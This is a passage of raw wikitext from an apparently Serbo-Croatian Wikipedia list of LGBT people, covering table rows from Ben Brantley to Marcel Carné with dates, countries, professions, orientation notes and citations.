[http://www.thevillager.com/villager_114/villagarea.html Village area resident releases new album ] {{Webarchive|url=https://web.archive.org/web/20070927210138/http://www.thevillager.com/villager_114/villagarea.html |date=2007-09-27 }}, The villager.com. Retrieved November 13, 2006.</ref> |- | [[Ben Brantley]] | 1954 | [[Sjedinjene Američke Države|SAD]] | Pozorišni kritičar | | <ref name="out"/> |- | [[Alan Bray]] | 1948-2001 | [[Sjedinjene Američke Države|SAD]] | Istoričar i LGBT aktivista | | <ref>Gee, Stephen (December 18, 2001}, [http://www.guardian.co.uk/gayrights/story/0,12592,838640,00.html Alan Bray:Unearthing the history of gay Britain], The Guardian. Retrieved June 29, 2007.</ref> |- | [[Allison Brewer]] | ? | [[Kanada]] | Političarka. | |<ref>Parsons, Derwin (September 27, 2005), [https://web.archive.org/web/20051026042552/http://www.365gay.com/newscon05/09/092705ndpLeader.htm Lesbian Wins Election To Lead Canadian Political Party], 365Gay.com. Retrieved November 13, 2006.</ref> |- | [[James Bridges]] | 1936-1993 | [[Sjedinjene Američke Države|SAD]] | Scenarista i reditelj | |<ref>Pace, Eric (1993-06-08). "James Bridges, 57, a Film Maker Twice Nominated for Oscars, Dies" New York Times.</ref> |- | [[Susie Bright]] | 1958 | [[Sjedinjene Američke Države|SAD]] | Spisateljica. | [[Biseksualnost|Bi]] |<ref>Talbot, David (March 1997), [https://web.archive.org/web/20000511223748/http://www.salon.com/march97/interview970318.html Sex is an urgent message], Salon.com. Retrieved November 18, 2006.</ref> |- | [[Dave Brindle]] | ? | [[Kanada]] | Novinar | |<ref>Hays, Matthew (February 4, 1999), [https://web.archive.org/web/20020709112503/http://www.montrealmirror.com/ARCHIVES/1999/042999/news5.html On the outs: Gay journalists can't shake an age-old debate], ''Montreal Mirror''. Retrieved November 20, 2006.</ref> |- | [[Mark Brindle]] | ? | [[Australija]] | Političar | |<ref>[http://www.pollbludger.com/sa2006/unley.htm South Australian House of Assembly Election 2006] {{Webarchive|url=https://web.archive.org/web/20120410112223/http://www.pollbludger.com/sa2006/unley.htm |date=2012-04-10 }} The Poll Bludger. Retrieved on [[2007-08-06]].</ref> |- | [[Joanna Briscoe]] | ? | [[Ujedinjeno Kraljevstvo|UK]] | Spisateljica | | <ref name="The Pink List 2005"/> |- | [[Scott Brison]] | 1967 | [[Kanada]] | Političar | |<ref>CTV.ca (October 9 2005), [http://www.ctv.ca/servlet/ArticleNews/story/CTVNews/20051008/brison_weddingbells_051008/20051008?hub=TopStories Nova Scotia MP Scott Brison mulls wedding bells] {{Webarchive|url=https://web.archive.org/web/20071023081809/http://www.ctv.ca/servlet/ArticleNews/story/CTVNews/20051008/brison_weddingbells_051008/20051008?hub=TopStories |date=2007-10-23 }}. Retrieved November 13, 2006.</ref> |- | [[Poppy Z. Brite]] | 1967 | [[Sjedinjene Američke Države|SAD]] | Spisateljica. | trans |<ref name="gender">See Brite's LiveJournal, especially the [http://www.livejournal.com/users/docbrite/2003/08/22/ August 22, 2003 entry]</ref> |- | [[Benjamin Britten]] | 1913-1976 | [[Ujedinjeno Kraljevstvo|UK]] | Kompozitor i dirigent | |<ref>(1991) Letters from a Life: Selected Letters and Diaries: Benjamin Britten. Faber and Faber. {{ISBN|0-571-16405-6}}.</ref> |- | [[David Brock]] | ? | [[Sjedinjene Američke Države|SAD]] | Pisac | |<ref>[https://archive.today/20120905232823/www.newyorker.com/critics/books/?020311crbo_books Hendrik Hertzberg, "Can you forgive him? A right-wing conspirator comes clean," New Yorker] (March 11, 2002). Retrieved November 13, 2006.</ref> |- | [[Lino Brocka]] | 1939-1991 | [[Filipini]] | Reditelj | |<ref>Salinas, Hugo, (January 21, 2007), [http://www.affirmation.org/memorial/lino_brocka.shtml Lino Brocka: Legendary Filmmaker, First LDS Convert in the Philippines], Affirmation.org. Retrieved January 24, 2007.</ref> |- | [[David Bromstad]] | 1973 | [[Sjedinjene Američke Države|SAD]] | TV voditelj | |<ref>Rosen, Zach ([[2007-03-23]]). [http://www.sovo.com/2007/3-23/arts/feature/6654.cfm Making his 'Splash']. ''[[Southern Voice]]''. Retrieved on [[2007-08-10]].</ref> |- | [[Rupert Brooke]] | 1887-1915 | [[Ujedinjeno Kraljevstvo|UK]] | Pesnik | [[Biseksualnost|Bi]] |<ref>Norton, Rictor (ed.) My Dear Boy:Gay Love Letters through the Centuries. Leyland Publications, San Francisco. 1998.</ref> |- | [[Louise Brooks]] | 1906-1985 | [[Sjedinjene Američke Države|SAD]] | Glumica | [[Biseksualnost|Bi]] |<ref>[http://www.glbtq.com/arts/film_actors_lesbian,2.html Film Actors: Lesbian on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20130127070808/http://www.glbtq.com/arts/film_actors_lesbian%2C2.html |date=2013-01-27 }}. Retrieved November 17, 2006.</ref> |- | [[Romaine Brooks]] | 1874-1970 | [[Sjedinjene Američke Države|SAD]] | Slikarka. | [[Biseksualnost|Bi]] |<ref>Doan, Laura, Jane Garrity (2006). Sapphic Modernities: Sexuality, Women and English Culture. New York: Palgrave MacMillan, 35-54. {{ISBN|1-4039-6498-X}}.</ref> |- | [[Brigid Brophy]] | 1929-1995 | [[Ujedinjeno Kraljevstvo|UK]] | Spisateljica. | [[Biseksualnost|Bi]] |<ref>[http://www.glbtq.com/literature/brophy_b.html Brigid Brophy on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20140308210016/http://www.glbtq.com/literature/brophy_b.html |date=2014-03-08 }}. Retrieved November 17, 2006.</ref> |- | [[Nicole Brossard]] | 1943 | [[Kanada]] | Spisateljica. | |<ref>[http://www.glbtq.com/literature/brossard_n.html Nicole Brossard on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071114135312/http://www.glbtq.com/literature/brossard_n.html |date=2007-11-14 }}. Retrieved November 13, 2006.</ref> |- | [[Bob Brown]] | 1944 | [[Australija]] | Senator | |<ref>Bajko, Matthew S. (October 26, 2006), [http://www.ebar.com/news/article.php?sec=news&article=1288 Gay Australian senator lives life on a limb] {{Webarchive|url=https://web.archive.org/web/20231002172933/https://www.ebar.com/news/article.php?sec=news&article=1288 |date=2023-10-02 }}, The Bay Area Reporter. Retrieved November 13 2006.</ref> |- | [[Michael Brown (političar, UK)|Michael Brown]] | 1951 | [[Ujedinjeno Kraljevstvo|UK]] | Novinar i političar | | <ref name="The Pink List 2005"/> |- | [[Nick Brown]] | 1950 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | |<ref>BBC News (November 8, 1998), [http://news.bbc.co.uk/1/hi/uk_politics/209712.stm Cabinet rallies around gay minister ]. Retrieved February 6, 2007.</ref> |- | [[Rita Mae Brown]] | 1944 | [[Sjedinjene Američke Države|SAD]] | Spisateljica i aktivistkinja. | |<ref>Brown, Rita Mae, ''Rita Will: Memoir of a Literary Rabble-Rouser''.</ref> |- | [[Coral Browne]] | 1913-1991 | [[Australija]] | Glumica | [[Biseksualnost|Bi]] |<ref>Cat (March 2006), [https://web.archive.org/web/20070721170020/http://www.bicommunitynews.co.uk/78/bimedia.html BiMedia], BiCommunityNews.com. Retrieved November 17, 2006.</ref> |- | [[John Browne]] | 1948 | [[Ujedinjeno Kraljevstvo|UK]] | Businessman | |<ref>[https://web.archive.org/web/20070503050842/http://news.yahoo.com/s/ap/20070501/ap_on_bi_ge/britain_bp_ceo] Yahoo News article. Retrieved May 1, 2007]</ref> |- | [[Oscar Browning]] | 1837-1923 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac i istoričar | |<ref>Norton, Rictor. ''[http://www.infopt.demon.co.uk/social15.htm A Critique of Social Constructionism and Postmodern Queer Theory]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}''. Retrieved on [[2007-06-01]].</ref> |- | [[Carrie Brownstein]] | 1974 | [[Sjedinjene Američke Države|SAD]] | Muzičarka. | [[Biseksualnost|Bi]] |<ref>Wilson, Amy RaNae (1997), [http://www.curvemag.com/Detailed/145.html Vol. 7 #2] {{Webarchive|url=https://web.archive.org/web/20070927010452/http://www.curvemag.com/Detailed/145.html |date=2007-09-27 }}, ''Curve magazine''. Retrieved November 17, 2006.</ref> |- | [[Tammy Bruce]] | 1962 | [[Sjedinjene Američke Države|SAD]] | Spisateljica. | |<ref>[http://tammybruce.com/biography.php Official site biography] {{Webarchive|url=https://web.archive.org/web/20090302095549/http://tammybruce.com/biography.php |date=2009-03-02 }}. Retrieved November 13, 2006.</ref> |- | [[David Brudnoy]] | 1940–2004 | [[Sjedinjene Američke Države|SAD]] | Radio voditelj. | | <ref>{{cite news | first = David | last = Brudnoy | url = http://www.nationalreview.com/comment/brudnoy200412100813.asp | title = Positively HIV | work = National Review Online | date = 17. 04. 1995., reprinted [[2004-12-10]] | accessdate = 15. 06. 2006. | archive-date = 2004-12-12 | archive-url = https://web.archive.org/web/20041212044155/http://www.nationalreview.com/comment/brudnoy200412100813.asp | dead-url = yes }}</ref> |- | [[Til Brugman]] | 1888-1958 | [[Nizozemska|Holandija]] | Pesnik i lingvista | | <ref>Corinne, Tee A (2002). [http://www.glbtq.com/arts/hoch_h.html Höch, Hannah] {{Webarchive|url=https://web.archive.org/web/20140106175122/http://www.glbtq.com/arts/hoch_h.html |date=2014-01-06 }}. glbtq.com.</ref> |- | [[Erik Bruhn]] | 1928-1986 | [[Danska]] | Igrač. | |<ref>[http://www.glbtq.com/arts/bruhn_e.html Erik Bruhn on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071102132424/http://www.glbtq.com/arts/bruhn_e.html |date=2007-11-02 }}. Retrieved November 13, 2006.</ref> |- | [[Tyler Brûlé]] | 1968 | [[Kanada]] | Novinar | | <ref name="Gay Power: The pink list"/> |- | [[Gioia Bruno]] | 1963 | [[Sjedinjene Američke Države|SAD]] | Muzičarka. | [[Biseksualnost|Bi]] |<ref>Marcus, Lydia (October 24, 2006), [http://afterellen.com/People/2006/10/bruno.html Interview with Gioia Bruno of Exposé ] {{Webarchive|url=https://web.archive.org/web/20130502095813/http://www.afterellen.com/People/2006/10/bruno.html |date=2013-05-02 }}, Afterellen.com. Retrieved November 17, 2006.</ref> |- | [[Manfred Bruns]] | 1934 | [[Njemačka|Nemačka]] | LGBT aktivista. | [[Biseksualnost|Bi]] | <ref>[http://andrejkoymasky.com/liv/fam/biob6/brun2.html Matt & Andrej Koymasky Famous GLTB biography of Manfred Bruns] {{Webarchive|url=https://web.archive.org/web/20061014171937/http://andrejkoymasky.com/liv/fam/biob6/brun2.html |date=2006-10-14 }}. Retrieved December 7, 2006.</ref> |- | [[Chris Bryant]] | 1962 | [[Ujedinjeno Kraljevstvo|UK]] | Političar. | |<ref>BBC News (December 2, 2003), [http://news.bbc.co.uk/1/hi/wales/3256348.stm MP 'sorry' over underpants photo]. Retrieved February 6, 2007.</ref> |- | [[Bryher]] | 1894-1983 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac. | |<ref>Benstock, Shari (1986). Women of the Left Bank: Paris, 1900–1940. Texas: University of Texas Press, 312. {{ISBN|0-292-79040-6}}.</ref> |- | [[Kathleen Bryson]] | 1968 | [[Sjedinjene Američke Države|SAD]] | Spisateljica i rediteljka. |Bisexual |<ref>Pajon, Lucia. [http://www.libertas.co.uk/default-show-article-aid-2453.htm Interview] {{Webarchive|url=https://web.archive.org/web/20080104095014/http://www.libertas.co.uk/default-show-article-aid-2453.htm |date=2008-01-04 }} (Libertas.co.uk). Retrieved July 04, 2007.</ref> |- | [[Dan Bucatinsky]] | 1965 | [[Sjedinjene Američke Države|SAD]] | Glumac, scenarista, producent | | G<ref>[http://www.glbtq.com/arts/roos_d,2.html Biografija Don Roosa] {{Webarchive|url=https://web.archive.org/web/20080513193154/http://www.glbtq.com/arts/roos_d,2.html |date=2008-05-13 }} na [[glbtq.com]]-u. Preuzeto 19.5.2008.</ref> |- | [[Florin Buhuceanu]] | 1971 | [[Rumunija]] | LGBT aktivista | |<ref>''The Guardian (March 1, 2005), [http://www.guardian.co.uk/gayrights/story/0,12592,1427606,00.html Valentine's deal 'left out gay people']. Retrieved January 24, 2007.</ref> |- | [[JM J. Bullock]] | 1955 | [[Sjedinjene Američke Države|SAD]] | Glumac | |<ref>Falcon, Mike (June 6, 2001), [http://www.usatoday.com/news/health/spotlight/2001-06-06-bullock-aids.htm Jim J. Bullock reflects on AIDS anniversary], ''USA Today''. Retrieved November 13, 2006.</ref> |- | [[Lady Bunny]] | 1962 | [[Sjedinjene Američke Države|SAD]] | [[Drag queen]] | |<ref>Wadler, Joyce. [http://www.wigstock.nu/press/nytimes09-03-99.html The Lady Bunny at the forefront of Wigstock Flamboyant? Certainly, From Head to Heels] {{Webarchive|url=https://web.archive.org/web/20071112053848/http://wigstock.nu/press/nytimes09-03-99.html |date=2007-11-12 }}, [[The New York Times|New York Times]]. Retrieved November 13, 2006.</ref> |- | [[Julie Burchill]] | 1959 | [[Ujedinjeno Kraljevstvo|UK]] | Spisateljica. | [[Biseksualnost|Bi]] |<ref>BiCommunity News (August 2004), [http://www.bicommunitynews.co.uk/69/bimedia69.html Summer BiMedia] {{Webarchive|url=https://web.archive.org/web/20100422211707/http://www.bicommunitynews.co.uk/69/bimedia69.html |date=2010-04-22 }}. Retrieved November 13, 2006.</ref> |- | [[Guy Burgess]] | 1911-1963 | [[Ujedinjeno Kraljevstvo|UK]] | Špijun. | |<ref>Aldrich, Robert (2001). Who's Who in Contemporary Gay and Lesbian History: From World War II to the Present Day. Routledge, 41. {{ISBN|0-415-22974-X}}.</ref> |- | [[Glenn Burke]] | 1952-1995 | [[Sjedinjene Američke Države|SAD]] | Igrač bejzbola | |<ref>Reuters (June 1, 1995), [http://www.aegis.org/news/ads/1995/AD951004.html Glenn Burke, an Openly Gay Baseball Player, Dies]. Retrieved November 13, 2006.</ref> |- | [[Ronnie Burkett]] | 1957 | [[Kanada]] | Lutkar. | |<ref>Posner, Michael (January 3, 2004), [http://www.johnlambert.ca/english/ronnie/provenance/Pro_Globe_Mail-jan03-04.htm An artist of pulling strings] {{Webarchive|url=https://web.archive.org/web/20080424060338/http://www.johnlambert.ca/english/ronnie/provenance/Pro_Globe_Mail-jan03-04.htm |date=2008-04-24 }}, ''The Globe and Mail'' (Toronto, Canada). Retrieved November 13, 2006.</ref> |- | [[Pete Burns]] | 1959 | [[Ujedinjeno Kraljevstvo|UK]] | Pevač. | |<ref>Gay.com (February 10, 2006), [http://uk.gay.com/headlines/9592 Pete Burns gets engaged]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}. Retrieved November 13, 2006.</ref> |- | [[Chandler Burr]] | 1963 | [[Sjedinjene Američke Države|SAD]] | Pisac. | |<ref>Burr, Chandler (December 9, 1996), [http://www.chandlerburr.com/newsite/content/articles/weeklystandard.php "Why Conservatives Should Embrace the Gay Gene."] {{Webarchive|url=https://archive.today/20120220170547/http://www.chandlerburr.com/newsite/content/articles/weeklystandard.php |date=2012-02-20 }}, ''Weekly Standard''. Retrieved November 13, 2006.</ref> |- | [[Raymond Burr]] | 1917-1993 | [[Kanada]] | Glumac | |<ref>[http://www.glbtq.com/arts/burr1_r.html Raymond Burr on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071114135253/http://www.glbtq.com/arts/burr1_r.html |date=2007-11-14 }}. Retrieved November 13, 2006.</ref> |- | [[William S. Burroughs]] | 1914-1997 | [[Sjedinjene Američke Države|SAD]] | Pisac. | |<ref>Miles, Barry. William Burroughs: El Hombre Invisible, A Portrait, New York: Hyperion, 1992.</ref> |- | [[Saffron Burrows]] | 1973 | [[Ujedinjeno Kraljevstvo|UK]] | Glumica | [[Biseksualnost|Bi]] |<ref>Warn, Sarah (October, 2003), [https://web.archive.org/web/20060504123837/http://www.afterellen.com/People/saffronburrows.html Saffron Burrows Embraces Lesbian Relationships On-Screen and Off], Afterellen.com. Retrieved November 13, 2006.</ref> |- | [[Paul Burston]] | 1965 | [[Ujedinjeno Kraljevstvo|UK]] | Novinar i pisac | | <ref name="news.independent.co.uk"/> |- | [[Gary Burton]] | 1943 | [[Sjedinjene Američke Države|SAD]] | Jazz muzičar. | |<ref>Antone, Richard (August 30, 2005), [http://www.findarticles.com/p/articles/mi_m1589/is_2005_August_30/ai_n15383926 Jazz artist Gary Burton] {{Webarchive|url=https://web.archive.org/web/20070629125121/http://findarticles.com/p/articles/mi_m1589/is_2005_August_30/ai_n15383926 |date=2007-06-29 }}, ''The Advocate''. Retrieved November 13, 2006.</ref> |- | [[Charles Busch]] | 1954 | [[Sjedinjene Američke Države|SAD]] | Dramaturg i glumac | |<ref>[http://gaylife.about.com/b/a/244859.htm Profile at About.com] {{Webarchive|url=https://archive.today/20081202160526/http://gaylife.about.com/b/a/244859.htm |date=2008-12-02 }}. Retrieved November 18, 2006.</ref> |- | [[Rachel Kramer Bussel]] | 1976 | [[Sjedinjene Američke Države|SAD]] | Spisateljica i kolumnistkinja | |<ref>Bussel, Rachel Kramer, [http://www.technodyke.com/features/single.asp Living Single], TechnoDyke.com. Retrieved March 21, 2007.</ref> |- | [[Sylvano Bussotti]] | 1931 | [[Italija]] | Kompozitor | |<ref>[http://www.glbtq.com/arts/bussotti_s.html Sylvano Bussotti on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071114135258/http://www.glbtq.com/arts/bussotti_s.html |date=2007-11-14 }}. Retrieved November 18, 2006.</ref> |- | [[Dorothy Bussy]] | ''ca.''&nbsp;1865-1960 | [[Ujedinjeno Kraljevstvo|UK]] | Spisateljica | [[Biseksualnost|Bi]] |<ref>Ottoline Morrell: Life on a Grand Scale by Miranda Seymour (Hodder & Stoughton, revised edition 1998)</ref> |- | [[Dan Butler]] | 1954 | [[Sjedinjene Američke Države|SAD]] | Glumac | |<ref>[http://www.glbtq.com/arts/butler_d.html Dan Butler on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071106031423/http://www.glbtq.com/arts/butler_d.html |date=2007-11-06 }}. Retrieved November 13, 2006.</ref> |- | [[Judith Butler]] | 1956 | [[Sjedinjene Američke Države|SAD]] | Filozofkinja. | |<ref>Machalik, Regina (May 2001), [http://www.lolapress.org/elec2/artenglish/butl_e.htm Interview with Judith Butler] {{Webarchive|url=https://web.archive.org/web/20061219151830/http://www.lolapress.org/elec2/artenglish/butl_e.htm |date=2006-12-19 }}. Retrieved November 13, 2006.</ref> |- | [[Samuel Butler (novelist)|Samuel Butler]] | 1956 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac. | |<ref>[http://www.glbtq.com/literature/butler_s.html Samuel Butler on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071014212250/http://www.glbtq.com/literature/butler_s.html |date=2007-10-14 }}. Retrieved November 13, 2006.</ref> |- | [[George Gordon Byron|Lord Byron]] | 1788-1824 | [[Ujedinjeno Kraljevstvo|UK]] | Pesnik. | [[Biseksualnost|Bi]] |<ref>[http://www.glbtq.com/literature/byron_gg.html Lord Byron on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20140411013923/http://www.glbtq.com/literature/byron_gg.html |date=2014-04-11 }}. Retrieved November 13, 2006.</ref> |} === C === [[Datoteka:Calamity jane.jpeg|right|thumb|[[Calamity Jane]] ]] [[Datoteka:Caligula bust bw blackbg.jpg|thumb|right|Rimski car [[Kaligula]] ]] [[Datoteka:Daniele Capezzone.jpg|thumb|right|Političar [[Daniele Capezzone]]]] [[Datoteka:TrumanCapote1959.jpg|right|thumb|Pisac[[Truman Capote]] ]] [[Datoteka:Carpenter1875.jpg|right|thumb|[[Edward Carpenter]] ]] [[Datoteka:Jim Carroll, Author.jpg|right|thumb|Pisac [[Jim Carroll]]]] [[Datoteka:Roger Casement.jpg|right|thumb|Pisac [[Roger Casement]]]] [[Datoteka:Van_Vechten_-_Willa_Cather.jpg|right|thumb|Spisateljica [[Willa Cather]]]] [[Datoteka:Cavafy1900.jpg|right|thumb|Pesnik [[Constantine P. Cavafy]]]] [[Datoteka:Swedish queen Drottning Kristina portrait by Sébastien Bourdon stor.jpg|right|thumb|[[Kristina, kraljica Švedske]]]] [[Datoteka:Montgomery Clift in The Search trailer cropped.jpg|right|thumb|Glumac [[Montgomery Clift]] ]] [[Datoteka:Kate Clinton.jpg|right|thumb|Komičarka [[Kate Clinton]]]] [[Datoteka:SidonieGabrielleColette.jpg|right|thumb|Writer [[Colette]] ]] [[Datoteka:Michael Cunningham JB by David Shankbone.jpg|right|thumb|Pisac [[Michael Cunningham]]]] {| class=wikitable ! width="24%" | Ime ! width="13%" | Datumi ! width="15%" | Zemlja ! width="35%" | Profesija ! width="17%" | Napomene |- valign="top" | [[Christopher Cabaldon]] | b.1965 | [[Sjedinjene Američke Države|SAD]] | Političar | G <ref>Cabaldon.org [http://www.cabaldon.org/About/OntheIssuesLGBTCommunity/tabid/338/Default.aspx. About Christopher: LGBT Community]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }}. Retrieved January 19, 2007.</ref> |- | [[Jean-Daniel Cadinot]] | 1944 | [[Francuska]] | Reditelj porno filmova | G <ref>Martel, Frederic (2000), The Pink and the Black: Homosexuals in France Since 1968, Stanford University Press, {{ISBN|0804732744}}</ref> |- | [[Paul Cadmus]] | 1904-1999 | [[Sjedinjene Američke Države|SAD]] | Umetnik | G <ref>Kaiser, Charles (February 1, 2005),[http://www.findarticles.com/p/articles/mi_m1589/is_2000_Feb_1/ai_59086793 A genius and a gentleman - painter Paul Cadmus] {{Webarchive|url=https://web.archive.org/web/20080426003756/http://findarticles.com/p/articles/mi_m1589/is_2000_Feb_1/ai_59086793 |date=2008-04-26 }}, ''[[The Advocate]]''. Retrieved November 8, 2006.</ref> |- | [[John Cage]] | 1912-1992 | [[Sjedinjene Američke Države|SAD]] | kompozitor klasične muzike | G <ref name="Vaughn, David 1999">Vaughn, David (1999) Merce Cunningham: Fifty Years. Aperture. {{ISBN|0-89381-863-1}}.</ref> |- | [[Claude Cahun]] | 1894-1954 | [[Francuska]] | Fotograf i pisac | G <ref>Louise Downie: Don't Kiss Me: The Art of Claude Cahun and Marcel Moore: London: Aperture: 2006: {{ISBN|1-85437-679-9}}</ref> |- | [[Calamity Jane]] | 1852-1903 | [[Sjedinjene Američke Države|SAD]] | Izviđačica | B <ref>Friedman, M. ''Strapped for Cash: A History of American Hustler Culture''. Alyson Books, 2003 p. 18</ref> |- | [[J. P. Calderon]] | 1975 | [[Sjedinjene Američke Države|SAD]] | Odbojkaš, TV voditelj | G <ref>[http://instinctmagazine.com/cover-story/jp-calderon---survival-of-the-fittest.html Survival of the Fittest] {{Webarchive|url=https://web.archive.org/web/20080514033317/http://instinctmagazine.com/cover-story/jp-calderon---survival-of-the-fittest.html |date=2008-05-14 }}. [[Instinct (magazine)|Instinct]] ([[2007-02-01]]). Retrieved on [[2007-06-10]].</ref> |- | [[Patrick Califia]] | [[1954]] – | [[Sjedinjene Američke Države|SAD]] | Pisac | T<ref name="patrickcalifia">Califia, P. (2003). ''Sex Changes: Transgender Politics'', second ed., pp. XII-XIII. San Francisco: Cleis Press. {{ISBN|1-57344-180-5}}</ref> |- | [[Caligula]] | 12-41 CE | Rim | Car | B <ref>Suetonius, ''The Lives of the Twelve Caesars'', Loeb Classical Library, 1913, pg 461.</ref> |- | [[Anthony Callea]] | b.1982 | [[Australija]] | Muzičar | G <ref>Anthonycallea.com.au (March 27, 2007), [http://www.anthonycallea.com.au/newsEvents/home.do?newsId=20030829004424 Anthony Callea Gives A Message To His Fans]. Retrieved on March 27, 2007.</ref> |- | [[Michael Callen]] | 1955–1993 | [[Sjedinjene Američke Države|SAD]] | AIDS aktivista | G <ref>{{cite news |first= Michael |last= Callen | url=http://www.thebody.com/gmhc/issues/feb_mar01/callen.html| title = Remarks of Michael Callen to the New York Congressional Delegation, 1983 | work = The Body | date= May 1983, reprinted February/March, 2001 | accessdate = 16. 06. 2006. }}</ref> |- | [[Simon Callow]] | 1949 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | G <ref>Durrant, Sabine (February 15, 1999) [http://www.guardian.co.uk/g2/story/0,,314265,00.html The business of feeling], ''[[The Guardian]]''. Retrieved November 14, 2006.</ref> |- | [[Jean Jacques Régis de Cambacérès]] | 1753-1824 | [[Francuska]] | Advokat | G <ref>[http://www.gay-france.net/cambaceres.htm Biography at Gay-France.net] {{Webarchive|url=https://web.archive.org/web/20070703220033/http://www.gay-france.net/cambaceres.htm |date=2007-07-03 }}. Retrieved November 14, 2006.</ref> |- | [[Anne Cameron]] | 1938 | [[Kanada]] | Pesnikinja, spisateljica | L <ref>{{cite web |url=http://www.abcbookworld.com/?state=view_author&author_id=126 |title=Cameron, Anne |work=ABCBookWorld |accessdate = 21. 06. 2007. |date=2007}}</ref> |- | [[Edwin Cameron]] | 1953 | [[Južna Afrika]] | Sudija | G <ref>Edwin Cameron, ''Witness to AIDS''(Tafelberg 2005), {{ISBN|0624041999}}.</ref> |- | [[Rhona Cameron]] | 1965 | [[Ujedinjeno Kraljevstvo|UK]] | Komičarka | L <ref>{{cite web |last=Howes |first=Keith G. |title=British Television |date=2002 |work=[[glbtq.com]] |url=http://www.glbtq.com/arts/bri_tv,4.html |accessdate=19. 02. 2007. |pages=4 |archive-date=2007-03-10 |archive-url=https://web.archive.org/web/20070310085300/http://www.glbtq.com/arts/bri_tv%2C4.html |dead-url=yes }}</ref> |- | [[Margarethe Cammermeyer]] | 1942 | [[Sjedinjene Američke Države|SAD]] | LGBT aktivistkinja i vojnikinja | L <ref>Schwartz, Shaun (September 12, 2006), [http://afterellen.com/column/2006/9/backintheday.html Back in the Day: Serving in Silence] {{Webarchive|url=https://web.archive.org/web/20070127163007/http://afterellen.com/column/2006/9/backintheday.html |date=2007-01-27 }}, Afterellen.com. Retrieved November 17, 2006.</ref> |- | [[Tim Campbell (glumac)|Tim Campbell]] | 1975 | [[Australija]] | Glumac | G <ref>{{cite news | url= http://www.advocate.com/news_detail_ektid50988.asp| title = Down Under Actor Tim Campbell Comes Out| work = [[The Advocate]]| date = 07. 12. 2007.| accessdate = 22. 12. 2007. }}</ref> |- | [[Justin R. Cannon]] | 1984 | [[Sjedinjene Američke Države|SAD]] | Founder of [http://www.TruthSetsFree.net TruthSetsFree.net], an affirming outreach ministry to gay and lesbian Christians | G <ref>Adams, Dan ([[March 29]] [[2007]]), [http://www.news10.net/storyfull2.aspx?storyid=26051 "A Place for God-Loving Gays -- On the Web"], News10.net. Retrieved [[June 18]] [[2007]].</ref> |- | [[Mario Cantone]] | 1959 | [[Sjedinjene Američke Države|SAD]] | Komičar i glumac | G <ref>Stevenson, Bill (December 9, 2003), [http://www.findarticles.com/p/articles/mi_m1589/is_2003_Dec_9/ai_111850691 Super Mario: from Sex and the City to turn-of-the-century city, Mario Cantone takes his sassy self onstage in The Violet Hour] {{Webarchive|url=https://web.archive.org/web/20071009212213/http://findarticles.com/p/articles/mi_m1589/is_2003_Dec_9/ai_111850691 |date=2007-10-09 }}, ''The Advocate''. Retrieved November 14, 2006.</ref> |- | [[Daniele Capezzone]] | 1972 | [[Italy|Italian]] | Političar | B <ref>Taddeucci, Roberto (October 26, 2006), [http://translate.google.com/translate?hl=en&sl=it&u=http://it.news.yahoo.com/26102006/135/politica-coming-out-bisex-daniele-capezzone.html&sa=X&oi=translate&resnum=2&ct=result&prev=/search%3Fq%3DDaniele%2BCapezzone%2Bgay%26hl%3Den%26lr%3D%26sa%3DG Google translation of "il 'coming out' bisex di Daniele Capezzone"], Yahoo.it. Retrieved November 14, 2006.</ref> |- | [[Truman Capote]] | 1924-1984 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>Plimpton, George (1997) Truman Capote, In Which Various Friends, Enemies, Acquaintances, and Detractors Recall His Turbulent Career. Published by Nan A. Talese (imprint of Doubleday).</ref> |- | [[Scott Capurro]] | 1962 | [[Sjedinjene Američke Države|SAD]] | Komičar | G <ref>[http://scottcapurro.com/wp/reviews/prague-fringe-festival-review Prague Fringe Festival Review] {{Webarchive|url=https://web.archive.org/web/20070928140543/http://scottcapurro.com/wp/reviews/prague-fringe-festival-review |date=2007-09-28 }}. Retrieved November 15, 2006.</ref> |- | [[Gia Carangi]] | 1960-1986 | [[Sjedinjene Američke Države|SAD]] | Model | B <ref>Lo, Malinda. [https://archive.today/20120526011645/http://www.afterellen.com/archive/ellen/column/2005/12/backintheday.html Back in the Day: Out on the Catwalk]. AfterEllen.com. Retrieved July 05, 2007.</ref> |- | [[Andreas Carlgren]] | 1958 | [[Švedska]] | Političar | G <ref>Wockner, Rex ([[October 19]], [[2006]]), [http://www.sfbaytimes.com/index.php?article_id=5790&sec=article Sweden Gets A Gay Government Minister], ''San Francisco Bay Times''. Retrieved on [[November 3]],[[2007]].</ref> |- | [[Brandi Carlile]] | 1981 | [[Sjedinjene Američke Države|SAD]] | Rock musician | L <ref>Eddy, Laurel (November 11, 2007), [http://media.www.westernfrontonline.com/media/storage/paper1048/news/2002/11/22/Accent/Teasing.The.Crowd-2141913.shtml Teasing the crowd] {{Webarchive|url=https://web.archive.org/web/20070518033046/http://media.www.westernfrontonline.com/media/storage/paper1048/news/2002/11/22/Accent/Teasing.The.Crowd-2141913.shtml |date=2007-05-18 }}, The Western Front. Retrieved March 22, 2007.</ref> |- | [[Benedetta Carlini]] | 1591-1661 | [[Italija]] | Časna sestra | L <ref>Judith Brown: Immodest Acts: The Life of A Lesbian Nun in Renaissance Italy: New York: Oxford University Press: 1986: {{ISBN|0-19-503675-1}}</ref> |- | [[Judy Carne]] | 1939 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | B <ref>[http://www.judycarne.com/biography.html Official site biography] {{Webarchive|url=https://web.archive.org/web/20080430181946/http://www.judycarne.com/biography.html |date=2008-04-30 }}. Retrieved November 17, 2006.</ref> |- | [[Marcel Carné]] | 1906-1996 | 